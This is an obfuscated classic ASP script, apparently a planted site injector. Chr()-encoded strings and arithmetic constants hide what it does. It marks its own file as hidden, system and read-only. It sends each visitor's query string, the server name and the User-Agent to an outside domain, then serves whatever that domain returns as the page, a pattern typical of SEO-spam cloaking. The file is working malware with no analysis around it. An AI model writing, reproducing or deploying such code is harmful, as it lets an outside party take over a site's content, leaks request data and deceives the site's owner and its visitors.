<% Public O000OO0O0OO00 Public O00000O0000 Public OOOOO0OO0OOO0 Public O00O000O000OO Public O00OO0O00OO0O Public O0O0OO0OO0O00 Public O000O0O0OO000 Public O000OO00OOOOOO Set O000OO0O0OO00 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set O00000O0000 = O000OO0O0OO00.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If O00000O0000.attributes <> ( 41 * 81 - 3282 ) Then O00000O0000.attributes = ( 62 * 45 - 2751 ) End If Response.Write vbCrLf OOOOO0OO0OOO0 = Server.MapPath ( Chr ( 46 ) ) O00O000O000OO = Split ( OOOOO0OO0OOO0 , Chr ( 92 ) ) O00OO0O00OO0O = UBound ( O00O000O000OO ) O0O0OO0OO0O00 = O00O000O000OO ( O00OO0O00OO0O ) O000O0O0OO000 = O00000OOO0000O ( Chr ( 49 ) & Chr ( 48 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 51 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) ) & Chr ( 63 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.QueryString & Chr ( 38 ) & Chr ( 119 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 86 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) & Chr ( 38 ) & Chr ( 97 ) & Chr ( 122 ) & Chr ( 61 ) & Chr ( 106 ) & Chr ( 102 ) & Chr ( 38 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) ) O000OO00OOOOOO = O00OOOOOO00OO ( O000O0O0OO000 ) If O000OO00OOOOOO = "" Then Else Response.Write O000OO00OOOOOO Response.End End If Set O000OO0O0OO00 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set O00000O0000 = O000OO0O0OO00.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If O00000O0000.attributes <> ( 64 * 67 - 4249 ) Then O00000O0000.attributes = ( 85 * 4 - 301 ) End If Response.Write vbCrLf Function O00OOOOOO00OO(O000O0O0OO000 ) Dim O000OO0O00O Set O000OO0O00O = Server.CreateObject ( Chr ( 109 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 102 ) & Chr ( 116 ) & Chr ( 46 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) ) O000OO0O00O.Open Chr ( 103 ) & Chr ( 101 ) & Chr ( 116 ) , O000O0O0OO000 , false O000OO0O00O.send If O000OO0O00O.readystate <> ( 43 * 19 - 813 ) Then Exit Function O00OOOOOO00OO = OO00OOO000OOO ( O000OO0O00O.responsebody ) Set O000OO0O00O = Nothing End Function Function OO00OOO000OOO(OO0OOOOO0O000 ) Dim O0OO0O000OO Dim OOOO000O00OO Set O0OO0O000OO = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) O0OO0O000OO.Type = ( 19 * 84 - 1594 ) O0OO0O000OO.Open O0OO0O000OO.WriteText OO0OOOOO0O000 O0OO0O000OO.Position = ( 97 * 70 - 6790 ) O0OO0O000OO.Charset = Chr ( 71 ) & Chr ( 66 ) & Chr ( 50 ) & Chr ( 51 ) & Chr ( 49 ) & Chr ( 50 ) O0OO0O000OO.Position = ( 31 * 80 - 2478 ) OOOO000O00OO = O0OO0O000OO.ReadText O0OO0O000OO.Close Set O0OO0O000OO = Nothing OO00OOO000OOO = OOOO000O00OO End Function Function O00000OOO0000O(OOOO0OOOO00OO ) Dim O00O00OO0O0OO Dim O0O0OOO0O0000 Dim OO0000OO0OO Dim OOO000OO000O OOOO0OOOO00OO = Replace ( OOOO0OOOO00OO , Chr ( 117 ) , Chr ( 45 ) ) O00O00OO0O0OO = Split ( OOOO0OOOO00OO , Chr ( 97 ) ) For O0O0OOO0O0000 = ( 50 * 94 - 4700 ) To UBound ( O00O00OO0O0OO ) OO0000OO0OO = O00O00OO0O0OO ( O0O0OOO0O0000 ) If IsNumeric ( OO0000OO0OO ) Then OOO000OO000O = OOO000OO000O & Chr ( OO0000OO0OO ) End If Next O00000OOO0000O = OOO000OO000O End Function %>